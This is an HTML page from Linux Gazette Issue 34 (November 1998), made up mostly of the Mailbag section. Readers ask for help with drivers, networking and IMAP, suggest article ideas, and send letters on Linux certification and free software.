<LI><A HREF="./york.html">Creating a Linux Certification Program--The Next
Step</A>, by Dan York
<LI><A HREF="./omalley.html">Debugging CGI Programs over TCP</A>, by Kevin
O'Malley
<LI><A HREF="./adler.html">Fall Internet World '98</A>, by Stephen Adler
<LI><A HREF="./staff.html">First Canadian National Linux InstallFest</A>,
by Dean Staff
<LI><A HREF="./gm.html">Graphics Muse</A>, by Michael J. Hammel
<LI><A HREF="./nw_burger.html">How to Print to a Printer on a Netware
Server</A>, by Izak Burger
<LI><A HREF="./field.html">Introduction to STL, Standard Template
Library</a>, by Scott Field
<LI><A HREF="./anderson.html">Linux Basics</a>, by Paul Anderson
<LI><A HREF="./jenkins3.html">Linux Installation Primer, Part 3</a>, by Ron
Jenkins
<LI><A HREF="./bennet.html">Loadlin.exe Installer</a>, by Bill Bennet
<LI>New Release Reviews, by Larry Ayers
<ul>
<li><A HREF="./ayers1.html">Dict Continued</a>
<li><A HREF="./ayers2.html">How Not to Re-Invent the Wheel</a>
<li><A HREF="./ayers3.html">Updates and Corrections</a>
</ul>
<LI><A HREF="./vertes.html">Securing Your Linux Box</a>, by Peter Vertes
<LI><A HREF="./lisse.html">Sendmail Made Easy</a>, by Eberhard W. Lisse
<LI><A HREF="./holve.html">TkApache</a>, by Michael Holve
<LI><A HREF="./lg_backpage34.html">The Back Page</A>
<ul>
<li><a HREF="./lg_backpage34.html#authors">About This Month's Authors</a>
<li><a HREF="./lg_backpage34.html#notlinux">Not Linux</a>
</UL>
</UL>
</td>
</tr><tr>
<td align=center>
<A HREF="lg_answer34.html">
<img src="../gx/dennis/answerwiz-255.gif" border=0 alt=""></a><BR>
<A HREF="lg_answer34.html"><i>The Answer Guy</i></a>
</td>
</tr><tr>
<td align=center>
<A HREF="gm.html">
<IMG SRC="../gx/hammel/gm-logo-3-small.jpg" border=0 alt=""></a>
</td>
</tr>
</table>
<P> <HR><P>
<!--=============================================================-->
<A HREF="./issue34.txt">TWDT 1 (text)</A><BR>
<A HREF="./issue34.html">TWDT 2 (HTML)</A><BR>
are files containing the entire issue: one in text format, one in HTML.
They are provided
strictly as a way to save the contents as one file for later printing in
the format of your choice;
there is no guarantee of working links in the HTML version.
<!--=============================================================-->
<P> <HR><P>
Got any <I>great</I> ideas for improvements? Send your
<A HREF="mailto:gazette@ssc.com">comments, criticisms, suggestions
and ideas.</A>
<P><hr><p>
This page written and maintained by the Editor of <I>Linux Gazette</I>,
<A HREF="mailto: gazette@ssc.com">gazette@ssc.com</A>
<P><hr><p>
<H4>"Linux Gazette...<I>making Linux just a little more fun!</I>"</H4>
<HR>
<center>
<table width="100%" cellpadding=7><tr><td>
<H2><a NAME="mail"><IMG SRC="../gx/mailbox.gif" ALIGN=MIDDLE ALT=" ">
The Mailbag!</a> </H2>
Write the Gazette at <A HREF="mailto:gazette@ssc.com"> gazette@ssc.com</A>
</td><td>
<H3>Contents:</H3>
<ul>
<li><a HREF="./lg_mail34.html#help">Help Wanted -- Article Ideas</a>
<li><a HREF="./lg_mail34.html#gen">General Mail</a>
</ul>
</td></tr></table>
</center>
<a name="help"></a>
<p><hr><p>
<!-- =================================================================== -->
<center><H3><font color="maroon">Help Wanted -- Article Ideas</font></H3></center>
<P> <HR> <P>
<!--====================================================================-->
<IMG ALT=" " SRC="../gx/envelope.gif">
Date: Sun, 04 Oct 1998 16:04:47 -0500<BR>
From: "Casey Bralla", <A HREF="mailto:Vorlon@pdn.net">Vorlon@pdn.net</A>
<BR>
Subject: <font color="maroon">Single IP Address & Many Servers. Possible?</font>
<P>
This is for the "article wanted" section of the Linux
Gazette. Thanks!
<P>
I have a single IP address for accessing the Internet. I
have an Intranet with several old 486-class computers which all
access the Internet via IP Masquerading. The single machine which
is actually connected to the Internet (and does the masquerading)
is not powerful enough to run a news server, mail server, HTTP
server, etc. I would like to split these functions up among the
cheap low-cost computers I have lying around. How can I force
HTTP web pages to be serviced by the HTTP server even though it
is not directly connected to the Internet with an IP address?
<P>
Example Diagram below:
<PRE>
207.123.456.789 (Single IP address to the Internet)
|
|
486 DX/2-66 (IP Masquerading)
|
|
486 DX-33 Mail Server 192.168.1.1
|
|
K-5 133 HTTP Server 192.168.1.2
|
|
486 DX-33 Leafnode News Server 192.168.1.3
|
|
(Other local machines)
</PRE>
I want anyone on the Internet who accesses my web server by
accessing 207.123.456.789 to be directed to the computer at
192.168.1.2 on the Intranet.
(obviously, the Intranet users have no problem accessing
the correct machines since they just reference the local
192.xxx.xxx.xxx IP address. But how can I make the same
functionality available to the rest of the known universe?)
<P>
Casey Bralla
<P> <HR> <P>
<!--====================================================================-->
<IMG ALT=" " SRC="../gx/envelope.gif">
Date: Wed, 7 Oct 1998 15:40:06 -0500<BR>
From: "John Watts", <A HREF="mailto:watts@top.net">watts@top.net</A> <BR>
Subject: <font color="maroon">Missing network card</font>
<P>
I've installed (from diskette) Debian 2.0 (hamm) on a system at work. The
idea was to set it up as a file/print server for my department. Unfortunately,
Linux doesn't believe me when I tell it that there is a network card. Its the
EtherExpress 16. I've tried reinstalling and autoprobing, no luck. I've tried
different Linux distributions, no luck. HELP!!!!!!!!!!!!
<P>
John Watts
<P> <HR> <P>
<!--====================================================================-->
<IMG ALT=" " SRC="../gx/envelope.gif">
Date: Tue, 06 Oct 1998 21:36:12 PDT<BR>
From: "Jonathan Bryant", <A HREF="mailto:jonathanbryant@hotmail.com">
jonathanbryant@hotmail.com</A> <BR>
Subject: <font color="maroon">Linux Extra?</font>
<P>
I've been trying to encourage my Dad to try Linux. He has showed
interest, but was curious if there was a Linux counterpart to Extra! on
Windoze. He does a lot of work on the mainframe and needs something that
can provide a "3270 terminal interface" for a "TSO session". I wondered
if there are any old school programmers out there who can recommend a
piece of software which would suit his needs.
<P>
Thanks <BR>
Jonathan Bryant
<P> <HR> <P>
<!--====================================================================-->
<IMG ALT=" " SRC="../gx/envelope.gif">
Date: Fri, 09 Oct 1998 08:45:50 -0400<BR>
From: "Brian M. Trapp", <A HREF="mailto:bmtrapp@acsu.buffalo.edu">
bmtrapp@acsu.buffalo.edu</A> <BR>
Subject: <font color="maroon">NumLock - On at startup?</font>
<P>
Hi! I've been reading the <I>Linux Gazette</I> for almost a year now. NICE
WORK!!! You're a great resource.
<P>
Here's my quick and probably easy question.. On reboot (yes, I do that
occasionally, just to use Win95 and Quicken) Linux (Red Hat 5.1)
defaults to starting up with Num Lock off. How can I get it to switch
it on for me automatically? (This is a matter of pride - I made the
mistake of telling my girlfriend how great and powerful the OS is, and
then she has to discover the num lock quirk for me...)
<P>
Thanks!<BR>
Brian Trapp
<P> <HR> <P>
<!--====================================================================-->
<IMG ALT=" " SRC="../gx/envelope.gif">
Date: Fri, 9 Oct 1998 09:47:05 +0800<BR>
From: "ctc", <A HREF="mailto:zhanghongyi@163.net">
zhanghongyi@163.net</A> <BR>
Subject: <font color="maroon">Where to find S3 ViRGE GX2 card driver for Linux</font>
<P>
I use S3 ViRGE GX2 video card in my computer, but I cannot
run startx. Do you know where I can find drivers for this
kind of card? Any information is greatly appreciated.
Thanks.
<P>
Zhang-Hongyi
<P> <HR> <P>
<!--====================================================================-->
<IMG ALT=" " SRC="../gx/envelope.gif">
Date: Sun, 11 Oct 1998 16:38:00 -0700<BR>
From: Ed Ewing, <A HREF="mailto:edewing@isomedia.com">
edewing@isomedia.com</A> <BR>
Subject: <font color="maroon">article idea</font>
<P>
An article regarding cable modems and security, multiple interfaces etc.
<P>
Thanks<BR>
Ed
<P> <HR> <P>
<!--====================================================================-->
<IMG ALT=" " SRC="../gx/envelope.gif">
Date: Sun, 11 Oct 1998 10:47:09 +0200<BR>
From: "P.Plantinga", <A HREF="mailto:plant@cybercomm.nl">
plant@cybercomm.nl</A> <BR>
Subject: <font color="maroon">drivers savage Linux</font>
<P>
Are there drivers for my savage for Red Hat 5.1 xwindows? If there are any,
please let me know where to get them.
<P>
Thanks<BR>
P.Plantinga
<P> <HR> <P>
<!--====================================================================-->
<IMG ALT=" " SRC="../gx/envelope.gif">
Date: Sat, 10 Oct 1998 04:23:56 -0400<BR>
From: Eduardo Herrmann Freitas, <A HREF="mailto:efreitas@winnie.fit.edu">
efreitas@winnie.fit.edu</A> <BR>
Subject: <font color="maroon">Ensoniq Audio PCI Sound Card</font>
<P>
I would like to know if it is possible to install an Ensoniq Audio PCI
Sound Card on Linux...
<P>
----<BR>
Eduardo
<P> <HR> <P>
<!--====================================================================-->
<IMG ALT=" " SRC="../gx/envelope.gif">
Date: Mon, 12 Oct 1998 14:01:07 -0400<BR>
From: "Mann, Jennifer", <A HREF="mailto:Jennifer.Mann@GSC.GTE.Com">
Jennifer.Mann@GSC.GTE.Com</A> <BR>
Subject: <font color="maroon">looking for information</font>
<P>
Hi. I am looking for information about how Linux handles transactions and
database support. Has the <I>Linux Gazette</I> published any articles pertaining
to this topic? If so, I would like to know if and where I can find those
articles on the web.
<P>
Thank you,<BR>
Jennifer Mann
<P> <HR> <P>
<!--====================================================================-->
<IMG ALT=" " SRC="../gx/envelope.gif">
Date: Thu, 15 Oct 1998 09:01:46 -0500<BR>
From: "Mark Shipp(Soefker)", <A HREF="mailto:mshipp@netten.net">
mshipp@netten.net</A> <BR>
Subject: <font color="maroon">Confused with ProComm scripting</font>
<P>
I got to your web site through a search on Yahoo. I must say that your
help is a very valuable resource.
<P>
The reason that I'm doing this search is because I'm looking for someone
with experience with the Aspect scripting. Could you or someone that you
know steer me in the right path?
<P>
What I'm trying to do is create a counter that transmits its value in
order to open to different nodes on a network. Below it the part of the
program that is giving me the problem. It works except for the fact that
I have to use the "TERMMSG" command instead of a "TRANSMIT". This won't
work because the "open 0,(value)" statement has to be transmitted across
the LAN.
<P>
Thanks for your help and time,<BR>
Mark
<PRE>
proc main
integer unit
while unit !=3D 3 ; This means "while unit does *not* equal 3".
unit++ ; Increment the value of counter (add 1 to it)
termmsg "open 0,%d" unit
transmit "^M"
;This is where I would add in my other
programming
pause (2)
endwhile ; When unit equals 3 proceed, else count unit
and restart
; This is where I would close the network
endproc
</PRE>
<P> <HR> <P>
<!--====================================================================-->
<IMG ALT=" " SRC="../gx/envelope.gif">
Date: Wed, 14 Oct 1998 15:29:49 +0000<BR>
From: "J luis Soler Cabezas", <A HREF="mailto:jsoca@etsii.upv.es">
jsoca@etsii.upv.es</A> <BR>
Subject: <font color="maroon">I need info</font>
<P>
Hello, I have a TX pro II motherboard with an VGA onboard video chip.
The problem is that Linux X86config X-Window subsystem doesn't recognize
this video, the fact is that Linux can't access to Emulated video RAM.
<P>
I'm waiting for your news, and please, excuse my English.
<P>
----<BR>
Luis
<P> <HR> <P>
<!--====================================================================-->
<IMG ALT=" " SRC="../gx/envelope.gif">
Date: Mon, 19 Oct 1998 08:31:49 -0700<BR>
From: Ken Deboy, <A HREF="mailto:glockr@locked_and_loaded.reno.nv.us">
glockr@locked_and_loaded.reno.nv.us</A> <BR>
Subject: <font color="maroon">Win95 peer-to-peer vs. Linux server running Samba</font>
<P>
I'm wondering if anyone can tell me the advantages of a Linux machine
running as a print server for a network of Win95 machines vs. just hang-
ing the printer off one of the Win95 machines and setting them up in a
peer-to-peer arrangement. You don't have to convince me, because I _do_
run Samba as my print server, but what can I tell my friends to convince
them, especially if they aren't having too many problems with their
Windoze machines? Thanks for any comments, but no flames...
<P>
Ken Deboy
<P> <HR> <P>
<!--====================================================================-->
<IMG ALT=" " SRC="../gx/envelope.gif">
Date: Sun, 18 Oct 1998 18:03:57 -0400<BR>
From: "Gregory Engel", <A HREF="mailto:rengel1@nycap.rr.com">
rengel1@nycap.rr.com</A> <BR>
Subject: <font color="maroon">How to add disk space to RH 5.1?</font>
<P>
<P>
I am a new Linux user having installed Red Hat 5.1 last month. (So
far so good)
After installing several goodies and libraries like qt I find myself
running out of disk space on my / directory. I have a Syquest EZ-flyer
removeable disk drive that I didn't use at all during the install.
<P>
My question is can I move some of the directories that defaulted to
the root directory like /tmp/ and /var/ to this drive without a full
re-installation, and if so, how. Also I really couldn't figure out
how to get the thing working during install. It is a SCSI drive
that connects to the parallel port. Red Hat lists it as a supported
drive but was of little help when I asked them for specific
instructions.
<P>
If there is some other strategy I might use to gain disk space
without a re-installation I would like to hear it. I'm still amazed I got
the thing going in the first place. The partitioning makes me nervous.
<P>
Thanks,<BR>
Greg Engel
<P> <HR> <P>
<!--====================================================================-->
<IMG ALT=" " SRC="../gx/envelope.gif">
Date: Tue, 20 Oct 1998 19:50:58 -0700<BR>
From: Michael McDaniel, <A HREF="mailto:mmcdaniel@acm.org">
mmcdaniel@acm.org</A> <BR>
Subject: <font color="maroon">imapd</font>
<P>
I have found a lot of information about using clients with IMAP servers.
I have found basically _nothing_ about how to actually make the imapd
server on Linux do anything.
<P>
I can point NetScape Messenger at the localhost IMAP server and it (NS)
dutifully says "no messages on server". Ok, I know that; how do I get
messages on it?
<P>
My Suggestion:
<P>
Provide an article about imapd - how to set up hosts.allow for security,
how to configure sendmail.cf to use it (I'm pretty sure this has to be
done), how to set up user mailboxes,
etc.
<P>
I would love to see an article like this. By the way, how can I be
automatically notified when a new issue comes out? I thought I was
receiving that information but maybe not - I haven't seen any info about
the new articles as they come out lately.
<P>
Michael McDaniel
<P> <HR> <P>
<!--====================================================================-->
<IMG ALT=" " SRC="../gx/envelope.gif">
Date: Mon, 26 Oct 1998 02:27:44 -0500<BR>
From: "Oblivion", <A HREF="mailto:garymc@mail.portup.com">
garymc@mail.portup.com</A> <BR>
Subject: <font color="maroon">Help, with Debian 2.0 install from CD-ROM not part of HDD
card</font>
<P>
I am having problems with Debian 2.0 to install the the important, extra,
and/ or packages, which include the kernel source and patches. I have got
a operating system, but it does not recognize the CD-ROM drive, thus I can
not add or upgrade any program packages to the system. I have tried to
move the CD-ROM drive to run off the HDD control but the system will not
even do look at the BIOS to startup. I am including at the base of this
message the system specs. of this machine.
<PRE>
CPU: Cyrix 5x86 100MHz
Hard Drives: BigFoot 1.2 Gb
WD 4.0 Gb
Floppy Drives: 3.5"
Bus Type: PCI
Extra Drives: TEAC CD-55 tray ROM 4x
Mouse and style: Bus on COM1
modem: on COM2
Memory: 24 Megs
Root Directory: hdc7
O/S on system: Windows 95
Kernal Version: 2.0.34
Sound Card: Drives CDROM - Sound Blaster Pro 16 compatible
</PRE>
Gary
<P> <HR> <P>
<!--====================================================================-->
<IMG ALT=" " SRC="../gx/envelope.gif">
Date: Thu, 29 Oct 1998 17:53:29 +0100<BR>
From: Thierry Durandy, <A HREF="mailto:thierry.durandy@art.alcatel.fr">
thierry.durandy@art.alcatel.fr</A> <BR>
Subject: <font color="maroon">Tie with the penguin logo</font>
<P>
Do you know if I can find a tie with the Linux penguin logo on it?
I could be interested in buying one to wear it and to show my opinion with
keeping the suit.
<P>
Thierry
<P> <HR> <P>
<!--====================================================================-->
<IMG ALT=" " SRC="../gx/envelope.gif">
Date: Fri, 30 Oct 1998 17:00:16 EST<BR>
From: Ross, <A HREF="mailto:IceRaven1@aol.com">IceRaven1@aol.com</A> <BR>
Subject: <font color="maroon">Cirrus Logic is the pits</font>
<P>
Help me, I have a huge computer science project to hand in on Monday 11:00 GMT
and my university won't let us use the UNIX boxes on the weekends. I have Linux
but alas I have a Cirrus Logic 5446 PCI with 2MB and Xwindows can't hack
it--it
corrupts the screen. My mate bought a new card to fix this problem. There must
be a cheaper sollution, patch, new server, whatever.
<P>
Also any quick help on how to set up a PPP conncection would be apreaciated,
<P>
Cheers to anyone who can help.
<P>
A newly converted Linux user,<BR>
Ross
<a name="gen"></a>
<P> <hr> <P>
<!-- =================================================================== -->
<center><H3><font color="maroon">General Mail</font></H3></center>
<P> <HR> <P>
<!--====================================================================-->
<IMG ALT=" " SRC="../gx/envelope.gif">
Date: Sun, 4 Oct 1998 22:39:09 +0200<BR>
From: A.R. (Tom) Peters, <A HREF="mailto:tom@tompth.xs4all.nl">
tom@tompth.xs4all.nl</A> <BR>
Subject: <font color="maroon">Linux certification</font>
<P>
I read your article in <I>Linux Gazette</I> 33 on a Linux Certification program
with interest. However, I would like to point out (and I will not
be the only one), that this issue was already raised by Phil Hughes in
L.J. Nov.1997 p.10; since then, there has been a still-active discussion
in <A HREF="http://www.linuxjournal.com/HyperNews/get/certification.html">
http://www.linuxjournal.com/HyperNews/get/certification.html</A>.
Therefore, I am somewhat surprised to see this paper appear in Linux
Gazette without reference to these discussions. Moreover, Robert Hart
of Red Hat has been actively defining a RH certification program; see
http://www.redhat.com/~hartr/ .
<P>
In principle, I sustain initiatives like these. I strongly disagree
however, with Dan York's stress on the benefits for conference centers
and publishers. Although I don't care if they make a lot of money out
of it, I am very much afraid of the consequences: if something like
this really catches on, only people who can afford the certification
program will be taken seriously as Linux consultants or developers.
Everyone else will be officially doomed to be an "amateur", disrespective
of competence or contributions already made to the Linux movement.
So I think we should NOT copy the expensive MSCE model, but keep Linux
certification affordable.
<P>
-- <BR>
Tom "thriving on chaos" Peters
<P> <HR> <P>
<!--====================================================================-->
<IMG ALT=" " SRC="../gx/envelope.gif">
Date: Sun, 4 Oct 1998 16:53:56 -0400<BR>
From: Dan York, <A HREF="mailto:dyork@lodestar2.com">
dyork@lodestar2.com</A><BR>
Subject: <font color="maroon">RE: Linux certification</font>
<P>
Tom,<BR>
Many thanks for the pointers... I was not aware of the discussion
on the linuxjournal.com site and had, in fact, been quite unsuccessful
in finding such discussions on the web. Thank you.
<P>
Thank you for pointing out Robert Hart's site... yes, others have sent
along that pointer as well. Maybe I missed it, but when I was going
through Red Hat's site, I didn't see a link to his pages on certification.
Thank you for sending the pointer... and I hope Red Hat and Caldera
can unify their efforts. We'll see.
<P>
As far as your comments on the pricing, I understand your concerns.
The struggle is to keep it affordable while also making it objective
(which I would do through exams). In truth, Microsoft's MCSE program
could cost only $600 (the price of the 6 exams), although in practice
people spend much more for books and/or training classes.
<P>
Thanks for your feedback - and I look forward to whatever discussions
evolve.
<P>
Regards,<BR>
Dan
<P> <HR> <P>
<!--====================================================================-->
<IMG ALT=" " SRC="../gx/envelope.gif">
Date: Sat, 3 Oct 1998 16:56:14 +0200<BR>
From: "David Andreas Alderud", <A HREF="mailto:aaldv97@student.hv.se">
aaldv97@student.hv.se</A> <BR>
Subject: <font color="maroon">Reb0l</font>
<P>
Just thought I'd mention something everybody needs to know...
Reb0l is no longer beta and is available from www.rebol.com
Really nice, I've used Reb0l since late last year (On my Amiga though)
and I'm really pleased, sure think it will run over every other
script language.
<P>
Kind Regards,<BR>
Andreas Alderud.
<P> <HR> <P>
<!--====================================================================-->
<IMG ALT=" " SRC="../gx/envelope.gif">
Date: Fri, 2 Oct 1998 10:29:21 -0500 (CDT)<BR>
From: <A HREF="mailto:mjhammel@graphics-muse.org">
mjhammel@graphics-muse.org</A> <BR>
Subject: <font color="maroon">re: links between identical sections</font>
<P>
Although I can't speak for other areas of the Gazette, the Graphics Muse
can be searched using the Graphics Muse Web site. I have all the back
issues online there with topical headings for the main articles in each
issue. This feature just went live (online) last night, so it's brand new
(which is why no one knew about it before :-).
<P>
Take a look at <A HREF="http://www.graphics-muse.org/linux.html">
http://www.graphics-muse.org/linux.html</A> and click on the "Muse"
button. That will do it for you.
<P>
----<BR>
Michael J. Hammel,
The Graphics Muse
<blockquote> <I> We've added those requested links to each of the regular
columns now. Ellen Dahl did this good work for us. --Editor </I> </blockquote>
<P> <HR> <P>
<!--====================================================================-->
<IMG ALT=" " SRC="../gx/envelope.gif">
Date: Fri, 2 Oct 1998 04:02:23 -0400<BR>
From: "Tim Gray", <A HREF="mailto:timgray@geocities.com">
timgray@geocities.com</A> <BR>
Subject: <font color="maroon">Linux easy/not easy/not ready/ready YIKES!</font>
<P>
Ok, I've noticed one very strong theme in every message I have ever read
about Linux and how it won't be accepted as a desktop. Every message states
in one way or another, "if they see a command prompt, they will panic". I am
appalled at how IT professionals view users as idiots and morons. I refuse
to call myself an IT professional because I help my users and clients use
their software and don't "just fix it when they mess it up". A user can
learn the command prompt quickly, and it's easier to teach than, "click on
start,settings,controlpanel,system,bla bla bla bla...." than, "just type
setupmodem and press enter" or whatever command or script you may like. I
have started to move all my clients to Linux starting with the servers,
saving them time and money. And I have a CEO that logs in as root and adds
and removes users at one location. Users are much smarter than everyone
gives them credit for and a command prompt doesn't affect them as if the
devil just spoke from the speakers. If the IT departments around the world
put 1/5 the effort into educating the users than complaining about them,
then it would be a non-issue. As computer professionals, we are to keep
things running and educate our users, not sit on the pillar looking down
with the look of "what do you do to it now?"
<P>
As one last question, everyone says "I'll use Linux when it has a standard
GUI"... What is a standard GUI? Windows doesn't have one, Linux is the
closest thing to a standard GUI than anything else available.
<P>
----<BR>
Tim Gray
<P> <HR> <P>
<!--====================================================================-->
<IMG ALT=" " SRC="../gx/envelope.gif">
Date: Tue, 06 Oct 1998 06:56:51 -0400<BR>
From: Nathaniel Smith, <A HREF="mailto:slow@negia.net">slow@negia.net</A><BR>
Subject: <font color="maroon">Information on Linux</font>
<P>
I wrote you on Article Ideas and told you that I thought you should
write an article on how to use Linux for us (click and go people, who
are computer dummies), and you were kind enough to publish it. Before I
wrote you, I had already ordered 4 books (apparently the wrong ones, and
had received two, they started out, "I will assume you already have a
full working knowledge of Unix commands).
I have had several kind souls, who have taken their time and energy, to
point me in a direction that I can help myself, and that is all anyone
can ask. Some have even tried to go even further and tried to help me
with a hard drive problem that I have. I would like to see someone try
that with the Windows crowd, you would most likely come up with an empty
mail box.
I think that says a lot about the type of people that uses Linux and I
just want to thank you and everyone who has tried to help me, for I will
try to help myself before asking for anymore help. I think that I have
enough to keep me busy learning for quite a while.
<P>
thank you<BR>
Nathaniel
<P> <HR> <P>
<!--====================================================================-->
<IMG ALT=" " SRC="../gx/envelope.gif">
Date: Thu, 8 Oct 1998 18:44:33 -0400<BR>
From: keith, <A HREF="mailto:keithg@bway.net">keithg@bway.net</A> <BR>
Subject: <font color="maroon">suggestion for Linux security feature</font>
<P>
I wonder if you can point me in the right direction to make a suggestion
for a new "feature" of Linux which could further help to differentiate it
in the marketplace, and which might really give it a LOT of exposure (good)
in today's security-conscious press...
<P>
The security of computer information has been in the press a lot lately,
detectability of "deleted" files on people's hard drives, "secret" files,
cache files, cookies, etc. which are out of the purview of the typical (and
maybe even the advanced!) user. People either think they've deleted things
which they haven't really expunged, or their files are infiltrated, perhaps
by a child (accidentally, of course!).
<P>
It seems to me quite possible to structure an OS like UNIX (and Linux in
particular, since it is under development by so many gifted people) in such
a way that all such files are created in a directory under the current
user's ownership, in a knowable and findable place, so that:
<P>
A. only that user could access their own cache, cookies, pointer files,
etc. I do not know how deleted files could be safeguarded in this way,
unless it is simply to encrypt everything. Hmmm.;
<P>
B. these files - the whole lot of them - could be scrubbed, wiped,
obliterated (that's why it's important for them to be in a known and
findable place) by their owner, without impairing the function of the
applications or the system, and without disturbing similar such files for
other users.
<P>
C. it would be nice too if there were a way to prevent the copying of
certain files, and that would include copying by backup programs (for
example, I'm a Mac user and we use Retrospect to back up some of our Macs;
there's a feature to suppress the backing up of a particular directory by
having a special character (a "bullet", or optn-8) at the beginning or end
of the directory name.) But if this could be an OS-level feature, it would
be stronger.
<P>
If I'm user X, and I want to get rid of my computer, or get rid of
everything that's mine on the computer, I should just be able to delete all
of my data files (and burn them or wipe them or otherwise overwrite that
area of the disk), which I can surely do today. But in addition, I should
know where to go to do the same thing with whatever system level files
might be out there, currently unbeknownst to me, and be able to expunge
them also, without affecting anything for anyone else.
<P>
Who would work on such a thing as this? Who would I suggest this to? Of
course, it's my idea. (c) Keith Gardner 1998. :) But if something like this
could be set up, wouldn't it go a long way in the press, in corporate and
government buying mind set, etc.?
<P>
I'm writing this very quickly, the idea really just came to me while
reading the NY Times this morning with an article (in Circuits, 10/8/98)
about computer security, and I am on my way out the door. I don't have time
to give it much polish. But I hope the ideas are clear enough. Let me know
what you think.
<P>
Thanks.<BR>
Keith Gardner
<P> <HR> <P>
<!--====================================================================-->
<IMG ALT=" " SRC="../gx/envelope.gif">
Date: Fri, 16 Oct 1998 15:41:25 -0500 (CDT)<BR>
From: Bret McGuire, <A HREF="mailto:mersault@busboy.sped.ukans.edu">
mersault@busboy.sped.ukans.edu</A> <BR>
Subject: <font color="maroon">Availability of information for newbies</font>
<P>
The October issue of <I>Linux Gazette</I> featured a number of mail
messages from individuals seeking basic information on how to start up and
run a useful Linux system. A common complaint among these individuals was
that basic information was not readily available, leading to the rather
humorous suggestion that anyone who operates a usable Linux system was
somehow "born with this information". :)
<P>
This isn't the case. There are a number of locations on the Web
which offer a great deal of information about the Linux operating system.
The best starting point is probably still the Linux Documentation
Project...
<P>
<A HREF="http://sunsite.unc.edu/mdw/">
http://sunsite.unc.edu/mdw/</A>
<P>
(or at least that's where I always go... I understand there are
mirrors all over)
<P>
This site features HOWTO documents on nearly every topic you can
imagine, along with current copies of the various Guides (everything from
the Installation and Getting Started Guide thru The Linux Users' Guide
thru The Linux Network Administrators' Guide, etc.). I suspect that this
site either has the answer to your questions or has a link to someplace
else that does. Definitely worth looking at...
<P>
----<BR>
Bret
<P> <HR> <P>
<!--====================================================================-->
<IMG ALT=" " SRC="../gx/envelope.gif">
Date: Mon, 19 Oct 1998 13:54:18 +0200<BR>
From: Jonas Erikson, <A HREF="mailto:jonase@admin.kth.se">
jonase@admin.kth.se</A> <BR>
Subject: <font color="maroon">go go Network do or die!</font>
<P>
My concern is that the free software alternative is going to its grave due to
out-dated core bindings to the standard old UNIX core.
<P>
In comp.os.plan9 there are discussions like:
<P>
| Hasn't the coolness of Linux worn off? If you want true excitement with
| how cool an OS is and the fun of pioneering again, how about cloning
| Plan 9?
<P>
Later in the same thread:
<P>
| We need a new Linus to start writing a Plan 9 kernel. GNU's Hurd doesn't
| go as far, as a cloned Plan 9 would.
<P>
And in other comp.os.* ... more...
<P>
I urge not to start all over again - but to modify that what is market
recognized and stable. I think, unlike many other freeware enthusiasts,
that there is a need for software infrastructure. A weak Linux would scatter
a lot of good work and inspirations. For a new alternative it would take far
too much time to reclaim the market confidence to freeware again.
<P>
I know that what I suggest, is far in terms of development in Linux and that
Linux holds a legacy of strong infrastructure.
But I don't know if Linux, can tackle the infrastructure requirements
building up after the first Internet pioneering..
<P>
Users in the MS-world see ACL:s and sharing (thus only the image)
capabilities as a condition for selecting system.
Also the development trend is that of distributing services, not only inside
corporations but also trading with services distributed via CORBA or DCOM.
Also other not so heavy standards are emerging as P3P, and do require a more
distributive approach.
<P>
If we look at sharing with supposed "advanced" like CODA and AFS
capabilities in file systems, that is just the beginning.
And I think only a symptom, of lacking structures inside UNIX.
(CODA _is_ advanced in may aspects not issued here)
<P>
New Internet standards make UNIX applications handle more, and more security
features not compatible with the system.
Building walls in systems by not providing infrastructure is not good for
freeware, it's not like Internet at all, not infrastructure.
<P>
The emerging operating system would be the most flexible in distributed
security and compatible to old standards...
And the idea to use a freeware alternative is to be ahead and in control.
<P>
Are we still?
<P>
So for the Linux Ext2fs kernel 2.3 ACL development:
Do embed [domain][gid/uid][rights] for ACL-enteries!
<P>
Don't forget that:<BR>
Linux is like windows to the whole OS-arena but on the "open/free" OS arena.
And software is like infrastructure. - nothing but smaller differences
are necessary to gain market.
As roads they need to be compatible with most cars, but still improve.
Now some infrastructures are gradually being implemented that set new
standards to cars, it's a bad idea not to take advantage of these standards.
<P>
Jonas
<P> <HR> <P>
<!--====================================================================-->
<IMG ALT=" " SRC="../gx/envelope.gif">
Date: Sun, 25 Oct 1998 06:53:39 -0500<BR>
From: "Bill Parker", <A HREF="mailto:bparker@dc.net">
bparker@dc.net</A> <BR>
Subject: <font color="maroon">Compliments on a great issue</font>
<P>
Great issue. It will take me some time to absorb even some of the
information and good ideas presented here.
<P>
I particularly benefited from "Thoughts about Linux," by Jurgen Defurne and
"DialMon: The Linux/Windows diald Monitor," by Mike Richardson. I have not
had time to read the rest yet.
<P>
Thanks and best wishes,<BR>
Bill Parker
<P> <HR> <P>
<!--====================================================================-->
<IMG ALT=" " SRC="../gx/envelope.gif">
Date: Mon, 26 Oct 1998 16:16:37 -0800<BR>
From: Dave Stevens, <A HREF="mailto:dstevens@mail.bulkley.net">
dstevens@mail.bulkley.net</A> <BR>
Subject: <font color="maroon">Rant</font>
<P>
October 17, 1998, Smithers, B.C.<BR>
There is a lot of criticism of Linux that goes more or less like this - "Well if it was so hot it
would cost something. Everything free is no good."
<P>
It isn't necessarily so and it just isn't so.
<P>
Copyright is a social vehicle for compensating creators of intellectual property. The copyright
expires eventually. Then the benefit of the intellectual work can, if it is of lasting value, be used
more widely and, in principle, at least, in perpetuity. This process and model are very familiar in
other fields of intellectual endeavor but are new to computer programming. If we look at the
body of english literature that fills our libraries and bookshelves, there is certainly no direct
correspondence between copyright and quality. All of Shakespeare, to take a favorite of mine, is
long out of copyright and is some of the best literature ever created. Or Mozart, or Dickens. You
make the list.
<P>
The whole consumer software trip is too new for the copyright process and terms to have worked
themselves out full term. The concept of computer software as intellectual work, potentially of a
high calibre, is just too new for social understanding to be widespread. The idea that intellectual
work might be contributed and protected in such a way as to enlarge the realm of the possible in
the computer part of the public sphere certainly has a way to go in being got used to.
<P>
Does this mean that some of the criticism offered in superficial? To put it kindly, yes. The open
source software community is collaboratively creating a standard for computer software below
which any commercial vendor will fall at its peril. If you can have all this for free will you
actually pay to get an inferior product? Maybe by accident. But not twice.
The growth of acceptance of Linux is a step in the spread of the idea of a body of public domain
imperative literature. Its quality is no more to be judged by its price than a Chopin waltz.
<P>
I would be happy to discuss any of these ideas with coherent correspondents, and invite both
comment and criticism.
<P>
Dave Stevens
<P> <hr> <P>
<!--================================================================-->
<center>Published in <i>Linux Gazette</i> Issue 34, November 1998</center>
<!--====================================================================-->
<P> <hr> <P>
<A HREF="./lg_toc34.html"><IMG SRC="../gx/indexnew.gif" ALT="[ TABLE OF
